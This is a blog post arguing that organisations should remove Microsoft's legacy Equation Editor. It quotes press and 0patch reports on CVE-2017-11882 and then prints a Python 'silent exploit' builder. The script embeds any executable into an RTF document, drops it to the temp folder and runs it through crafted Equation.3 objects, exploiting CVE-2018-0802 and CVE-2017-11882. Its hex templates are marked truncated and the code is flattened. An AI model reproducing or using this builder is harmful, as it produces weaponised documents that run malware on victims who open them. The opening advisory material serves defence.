Enough of the patches Microsoft, we believe its time to bury the good old EQUATION Extension. Unless am working for Texas Instruments or NASA i don’t need it, if your organization is still patching up the Equation Extension am sorry you are highly exposed. Every patch released has an exploitable hole. I will detail these holes and exploits.

While Microsoft has replaced the old EQNEDT32.EXE component with a new one in 2007, the older file is still included with all Office installations to allow users to load and edit equations created with the old component.

You can check if you are running the Equation Extension by navigating here:

C:\Program Files\Common Files\microsoft shared\EQUATION

If there is an equation folder in your Microsoft shared folder, you might be at risk. You can delete the folder if you feel no need for it, if your organization is not Texas Instruments you can advice them to.

Vulnerability According to Threat Post

Microsoft on Tuesday patched a 17-year-old remote code execution bug found in an Office executable called Microsoft Equation Editor. The vulnerability (CVE-2017-11882) was patched as part of Microsoft’s November Patch Tuesday release of 53 fixes.

While Microsoft rates the vulnerability only as “Important” in severity, researchers at Embedi who found the bug, call it “extremely dangerous.”

In a report released Tuesday (PDF) by Embedi, researchers argue the vulnerability is a threat because all version of Microsoft Office for the past 17 years are vulnerable and that the CVE “works with all the Microsoft Windows versions (including Microsoft Windows 10 Creators Update).”

The Microsoft Equation Editor is installed by default with the Office suite. The application is used to insert and edit complex equations as Object Linking and Embedding (OLE) items in Microsoft Word documents.

The origins of Equation Editor date back to November 2000 when it was compiled. Since then, it has been part of Office 2000 through Office 2003. Researchers said in 2007 the component was replaced with a newer version. But, the old Equation Editor was left in Office to support files that utilized the old OLE-based (EQNEDT32.EXE) equations.

Further analysis by Embedi revealed that the EQNEDT32.EXE was unsafe because when executed, it ran outside of Office and didn’t benefit from many of the Microsoft Windows 10 and Office security features such as Control Flow Guard.

“The component is an OutProc COM server executed in a separate address space. This means that security mechanisms and policies of the office processes (e.g. WINWORD.EXE, EXCEL.EXE, etc.) do not affect exploitation of the vulnerability in any way, which provides an attacker with a wide array of possibilities,” Embedi wrote in its technical write-up.

Embedi researchers discovered the error using Microsoft’s own BinScope tool, which identified EQNEDT32.EXE as a vulnerable executable. BinScope works by analyzing files to see if they pass standards set by Microsoft’s Security Development Lifecycle, a core element of Microsoft’s Trustworthy Computing.

Embedi exploited this vulnerability using two buffer overflows that relied on several OLEs. “By inserting several OLEs that exploited the described vulnerability, it was possible to execute an arbitrary sequence of commands (e.g. to download an arbitrary file from the Internet and execute it),” researchers said.

Microsoft describes the CVE-2017-11882 as a Microsoft Office memory corruption vulnerability. “Exploitation of the vulnerability requires that a user open a specially crafted file with an affected version of Microsoft Office or Microsoft WordPad software. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file,” Microsoft wrote.

As part of its research, Embedi created a proof-of-concept exploit that attacks all versions of Office dating back to 2000, including Office 365, running on Windows 7, Windows 8.1, and the Windows 10 Creators Update. In a video below, Embedi shows three different attacks on Office and Windows versions (Office 2010 on Windows 7, Office 2013 on Windows 8.1, and Office 2016 on Windows 10).

Along with downloading the patch to fix Equation Editor, Embedi is recommending companies disable EQNEDT32.EXE in the Windows registry to prevent further exploitation.

“Because the component has numerous security issues and the vulnerabilities it contains can be easily exploited, the best option for a user to ensure security is to disable registering of the component in Windows registry,” researchers wrote.

Understanding the exploit approach

The CVE-2017-11882 vulnerability happened because the EQNEDT32.EXE would allocate a fixed size of memory and load a font name inside. If the font name was too long, it would trigger a buffer overflow and allow attackers to execute malicious code.

0patch says it found fixes for this problem —checks to verify and truncate the font’s name— but also other modifications in unrelated parts of the binary.

“There are six such length checks in two modified functions, and since they don’t seem to be related to fixing CVE-2017-11882, we believe that Microsoft noticed some additional attack vectors that could also cause a buffer overflow and decided to proactively patch them,” 0patch said.

In addition, Microsoft optimized other functions, and when the code modifications resulted in smaller functions, Microsoft added padding bits to avoid not messing the arrangement of other nearby functions.

Such efforts to avoid not ruining the EQNEDT32.EXE binary are time-consuming, and no sane developer would have taken this route if he still had access to the source code. Furthermore, Microsoft also modified the binary’s version number also by manually editing the binary.

All the clues point to the conclusion that Microsoft lost access to the EQNEDT32.EXE source code, which if you think about the amount of software the company has managed in the last 42 years, it’s a wonder it did not happen a few more times before.

“Maintaining a software product in its binary form instead of rebuilding it from modified source code is hard. We can only speculate as to why Microsoft used the binary patching approach, but being binary patchers ourselves we think they did a stellar job,” the 0patch team said.


Its Not Over Yet!!!

In recent time i have come across malware’s utilizing the CVE 2018 variants, as the patches keep coming the exploits keep evolving, with a simple tweak in the python code you could have a python script exploiting several versions of the patches.

Proves of exploit

This is a Silent Exploit Python script that that encodes an executable and outputs it into an rtf document file, when the document file is opened it executes the binary via the EQNEDT32.EXE memory buffer vulnerability.

import argparse
import os
import struct

class Package(object):
Packager spec based on:

Dropping method by Haifei Li: 
Dropping Files Into Temp Folder Raises Security Concerns
Found being used itw by @MalwareParty: """ def __init__(self, filename): self.filename = os.path.basename(filename) self.fakepath = 'C:\\fakepath\\{}'.format(self.filename) self.orgpath = self.fakepath self.datapath = self.fakepath with open(filename,'rb') as f: self.data = f.read() self.OBJ_HEAD = r"{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata " self.OBJ_TAIL = r"0105000000000000}}" def get_object_header(self): OLEVersion = '01050000' FormatID = '02000000' ClassName = 'Package' szClassName = struct.pack("<I", len(ClassName) + 1).encode('hex') szPackageData = struct.pack("<I", len(self.get_package_data())/2).encode('hex') return ''.join([ OLEVersion, FormatID, szClassName, ClassName.encode('hex') + '00', '00000000', '00000000', szPackageData, ]) def get_package_data(self): StreamHeader = '0200' Label = self.filename.encode('hex') + '00' OrgPath = self.orgpath.encode('hex') + '00' UType = '00000300' DataPath = self.datapath.encode('hex') + '00' DataPathLen = struct.pack("<I", len(self.datapath)+1).encode('hex') DataLen = struct.pack("<I", len(self.data)).encode('hex') Data = self.data.encode('hex') OrgPathWLen = struct.pack("<I", len(self.datapath)).encode('hex') OrgPathW = self.datapath.encode('utf-16le').encode('hex') LabelLen = struct.pack("<I", len(self.filename)).encode('hex') LabelW = self.filename.encode('utf-16le').encode('hex') DefPathWLen = struct.pack("<I", len(self.orgpath)).encode('hex') DefPathW = self.orgpath.encode('utf-16le').encode('hex') return ''.join([ StreamHeader, Label, OrgPath, UType, DataPathLen, DataPath, DataLen, Data, OrgPathWLen, OrgPathW, LabelLen, LabelW, DefPathWLen, DefPathW, ]) def build_package(self): return self.OBJ_HEAD + self.get_object_header() + self.get_package_data() + self.OBJ_TAIL RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}} {\*\generator Riched20 6.3.9600}\viewkind4\uc1 \pard\sa200\sl276\slmult1\f0\fs22\lang9""" RTF_TRAILER = R"""\par} """ OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """ OBJECT_TRAILER = R""" }{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260 0100090000039e00000002001c0000000000050000000902000000000500000002010100000005 0000000102ffffff00050000002e01  --------TRUNCATED------- OBJDATA_TEMPLATE_0802 = R""" 01050000020000000B0000004571756174696F6E2E33000000000000000000000E0000D0CF11E0A1 B11AE1000000000000000000000000000000003E000300FEFF090006000000000000000000000001 0000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFF  -------TRUNCATED--------- OBJDATA_TEMPLATE_11882 = R""" 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1 b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001 0000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffff ffffffffffff-------TRUNCATED-------- def create_ole_exec_primitive(command, objdata_template, command_offset, max_len): if len(command) > max_len: raise ValueError("primitive command must be shorter than %d bytes" % max_len) hex_command = command.ljust(max_len).encode("hex") objdata_hex_stream = objdata_template.translate(None, "\r\n") ole_data = objdata_hex_stream[:command_offset] + hex_command + objdata_hex_stream[command_offset + len(hex_command):] return OBJECT_HEADER + ole_data + OBJECT_TRAILER def create_rtf(header, trailer, executable, double): # CVE-2018-0802 exploit ole1 = create_ole_exec_primitive("cmd.exe /c%tmp%\\{}".format(os.path.basename(executable)), OBJDATA_TEMPLATE_0802, (0xd12*2), 126) p = Package(executable) package = p.build_package() outbuf = header + package + ole1 if double: # CVE-2017-11882 exploit outbuf += create_ole_exec_primitive("cmd.exe /c%tmp%\\{}".format(os.path.basename(executable)), OBJDATA_TEMPLATE_11882, (0x949*2), 43) return outbuf + trailer if __name__ == '__main__': parser = argparse.ArgumentParser(description="PoC for CVE-2018-0802 using Packager.dll file drop method") parser.add_argument("-e", "--executable", help="File to ebmed and exec", required=True) parser.add_argument('-o', "--output", help="Output exploit rtf", required=True) parser.add_argument('-d', "--double", help="Double-whammy! Exploits both CVE-2018-0802 and CVE-2017-11882 in the same document.", action="store_true") args = parser.parse_args() with open(args.output, 'w') as f: f.write(create_rtf(RTF_HEADER, RTF_TRAILER, args.executable, args.double)) print "[+] Completed!"